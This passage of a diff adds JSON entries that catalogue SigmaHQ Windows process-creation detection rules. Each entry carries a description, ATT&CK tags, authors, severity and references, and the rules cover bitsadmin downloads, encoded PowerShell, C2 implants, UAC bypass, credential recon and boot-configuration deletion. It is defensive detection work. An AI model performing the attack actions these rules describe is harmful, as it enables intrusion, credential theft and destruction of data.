"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_attrib_hiding_files.yml", + "author": "Sami Ruohonen", + "level": "low", + "falsepositive": [ + "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", + "Msiexec.exe hiding desktop.ini" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Marks a file as a system file using the attrib.exe utility", + "uuid": "bb19e94c-59ae-4c15-8c12-c563d23fe52b", + "value": "Set Windows System File with Attrib", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/02/04", + "filename": "proc_creation_win_attrib_system.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of attrib with \"+s\" option to set suspicious script or executable as system files to hide them from users and make them unable to delete with simple rights. The rule limit the search to specific extensions and directories to avoid FP's", + "uuid": "efec536f-72e8-4656-8960-5e85d091345b", + "value": "Set Suspicious Files as System Files Using Attrib", + "meta": { + "refs": [ + "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", + "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_attrib_system_susp_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "uuid": "f576a613-2392-4067-9d1a-9345fb58d8d1", + "value": "Automated Collection Command Prompt", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119", + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2021/07/28", + "filename": "proc_creation_win_automated_collection.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.", + "uuid": "a7c3d773-caef-227e-a7e7-c2f13c622329", + "value": "Bad Opsec Defaults Sacrificial Processes With Improper Arguments", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", + "https://www.cobaltstrike.com/help-opsec", + "https://twitter.com/CyberRaiju/status/1251492025678983169", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/10/23", + "filename": "proc_creation_win_bad_opsec_sacrificial_processes.yml", + "author": "Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets", + "uuid": "fd6e2919-3936-40c9-99db-0aa922c356f7", + "value": "Malicious Base64 Encoded Powershell Invoke Cmdlets", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_invoke_susp_cmdlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/05/31", + "filename": "proc_creation_win_base64_invoke_susp_cmdlets.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded listing Win32_Shadowcopy", + "uuid": "47688f1b-9f51-4656-b013-3cc49a166a36", + "value": "Base64 Encoded Listing of Shadowcopy", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/03/01", + "filename": "proc_creation_win_base64_listing_shadowcopy.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded .NET reflective loading of Assembly", + "uuid": "62b7ccc9-23b4-471e-aa15-6da3663c4d59", + "value": "Base64 Encoded Reflective Assembly Load", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_reflective_assembly_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/03/01", + "filename": "proc_creation_win_base64_reflective_assembly_load.yml", + "author": "Christian Burkard, pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file", + "uuid": "d059842b-6b9d-4ed1-b5c3-5b89143c6ede", + "value": "Bitsadmin Download", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2017/03/09", + "filename": "proc_creation_win_bitsadmin_download.yml", + "author": "Michael Haag, FPT.EagleEye", + "level": "medium", + "falsepositive": [ + "Some legitimate apps use this, but limited." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file from a suspicious domain", + "uuid": "8518ed3d-f7c9-4601-a26c-f361a4256a0c", + "value": "Bitsadmin Download from Suspicious Domain", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_domain.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Some legitimate apps use this, but limited." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file with a suspicious extension", + "uuid": "5b80a791-ad9b-4b75-bcc1-ad4e1e89c200", + "value": "Bitsadmin Download File with Suspicious Extension", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ext.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_ext.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", + "uuid": "99c840f2-2012-46fd-9141-c761987550ef", + "value": "Bitsadmin Download File from IP", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_ip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", + "uuid": "2ddef153-167b-4e89-86b6-757a9e65dcac", + "value": "Bitsadmin Download to Suspicious Target Folder", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_targetfolder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file to uncommon target folder", + "uuid": "6e30c82f-a9f8-4aab-b79c-7c12bce6f248", + "value": "Bitsadmin Download to Uncommon Target Folder", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.", + "uuid": "1444443e-6757-43e4-9ea4-c8fc705f79a2", + "value": "Modification of Boot Configuration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", + "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_bootconf_mod.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", + "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449", + "value": "Browser Started with Remote Debugging", + "meta": { + "refs": [ + "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", + "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browser_remote_debugging.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1185" + ], + "creation_date": "2022/07/27", + "filename": "proc_creation_win_browser_remote_debugging.yml", + "author": "pH-T, Nasreddine Bencherchali (update)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash", + "uuid": "8d63dadf-b91b-4187-87b6-34a1114577ea", + "value": "SquiblyTwo Execution", + "meta": { + "refs": [ + "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "https://twitter.com/mattifestation/status/986280382042595328", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1047", + "attack.t1220", + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_bypass_squiblytwo.yml", + "author": "Markus Neis, Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants", + "uuid": "42333b2c-b425-441c-b70e-99404a17170f", + "value": "Sliver C2 Implant Activity Pattern", + "meta": { + "refs": [ + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/08/25", + "filename": "proc_creation_win_c2_sliver.yml", + "author": "Nasreddine Bencherchali, Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", + "uuid": "b18c9d4c-fac9-4708-bd06-dd5bfacf200f", + "value": "F-Secure C3 Load by Rundll32", + "meta": { + "refs": [ + "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/06/02", + "filename": "proc_creation_win_c3_load_by_rundll32.yml", + "author": "Alfie Champion (ajpc500)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", + "uuid": "242301bc-f92f-4476-8718-78004a6efd9f", + "value": "Suspicious Load DLL via CertOC.exe", + "meta": { + "refs": [ + "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/10/23", + "filename": "proc_creation_win_certoc_execution.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag", + "uuid": "6c6d9280-e6d0-4b9d-80ac-254701b64916", + "value": "NTLM Coercion Via Certutil.exe", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/issues/243", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_certutil_ntlm_coercion.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", + "uuid": "3d3aa6cd-6272-44d6-8afc-7e88dfef7061", + "value": "Change Default File Association", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.001" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_change_default_file_association.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a program changes the default file association of any extension to an executable", + "uuid": "ae6f14e6-14de-45b0-9f44-c0986f50dc89", + "value": "Change Default File Association To Executable", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/assoc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_assoc_susp.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.001" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_change_default_file_assoc_susp.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Chisel tunneling tool via the commandline arguments", + "uuid": "8b0e12da-d3c3-49db-bb4f-256703f380e5", + "value": "Chisel Tunneling Tool Usage", + "meta": { + "refs": [ + "https://github.com/jpillora/chisel/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chisel_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.001" + ], + "creation_date": "2022/09/13", + "filename": "proc_creation_win_chisel_usage.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Some false positives may occure with other tools with similar commandlines" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell process spawning a 'chrome.exe' process with the 'load-extension' flag to start a new chrome instance with custom extensions, as seen being used in 'ChromeLoader'", + "uuid": "27ba3207-dd30-4812-abbf-5d20c57d474e", + "value": "Powershell ChromeLoader Browser Hijacker", + "meta": { + "refs": [ + "https://redcanary.com/blog/chromeloader/", + "https://emkc.org/s/RJjuLa", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chrome_load_extension.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1176" + ], + "creation_date": "2022/06/19", + "filename": "proc_creation_win_chrome_load_extension.yml", + "author": "Aedan Russell, frack113 (sigma)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", + "uuid": "f44800ac-38ec-471f-936e-3fa7d9c53100", + "value": "CleanWipe Usage", + "meta": { + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cleanwipe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_cleanwipe.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "high", + "falsepositive": [ + "Legitimate administrative use (Should be investigated either way)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", + "uuid": "ddeff553-5233-4ae9-bbab-d64d2bd634be", + "value": "Use of CLIP", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_clip.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of cmdkey to look for cached credentials", + "uuid": "07f8bdc2-c9b3-472a-9817-5a670b872f53", + "value": "Cmdkey Cached Credentials Recon", + "meta": { + "refs": [ + "https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation", + "https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.005" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_cmdkey_recon.yml", + "author": "jmallette, Florian Roth, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", + "uuid": "379fa130-190e-4c3f-b7bc-6c8e834485f3", + "value": "Windows Cmd Delete File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/01/15", + "filename": "proc_creation_win_cmd_delete.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible payload obfuscation via the commandline", + "uuid": "a77c1610-fc73-4019-8e29-0f51efc04a51", + "value": "Suspicious Dosfuscation Character in Commandline", + "meta": { + "refs": [ + "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_dosfuscation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/02/15", + "filename": "proc_creation_win_cmd_dosfuscation.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of \"/R <\" to read and execute a file via cmd.exe", + "uuid": "00a4bacd-6db4-46d5-9258-a7d5ebff4003", + "value": "Read and Execute a File Via Cmd.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_read_contents.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_cmd_read_contents.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use \">\" to redicrect information in commandline", + "uuid": "4f4eaa9f-5ad4-410c-a4be-bc6132b0175a", + "value": "Redirect Output in CommandLine", + "meta": { + "refs": [ + "https://ss64.com/nt/syntax-redirection.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/22", + "filename": "proc_creation_win_cmd_redirect.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects inline windows shell commands redirecting output via the \">\" symbol to a suspicious location", + "uuid": "8e0bb260-d4b2-4fff-bb8d-3f82118e6892", + "value": "Suspicious CMD Shell Redirect", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_cmd_redirection_susp_folder.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)", + "uuid": "4b60e6f2-bf39-47b4-b4ea-398e33cfe253", + "value": "CMSTP UAC Bypass via COM Object Access", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://twitter.com/hFireF0X/status/897640081053364225", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_com_object_access.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ], + "creation_date": "2019/07/31", + "filename": "proc_creation_win_cmstp_com_object_access.yml", + "author": "Nik Seetharaman, Christian Burkard", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", + "uuid": "7d4cdc5a-0076-40ca-aac8-f7e714570e47", + "value": "CMSTP Execution Process Creation", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.003", + "attack.g0069", + "car.2019-04-001" + ], + "creation_date": "2018/07/16", + "filename": "proc_creation_win_cmstp_execution_by_creation.yml", + "author": "Nik Seetharaman", + "level": "high", + "falsepositive": [ + "Legitimate CMSTP use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", + "uuid": "647c7b9e-d784-4fda-b9a0-45c565a7b729", + "value": "Operator Bloopers Cobalt Strike Commands", + "meta": { + "refs": [ + 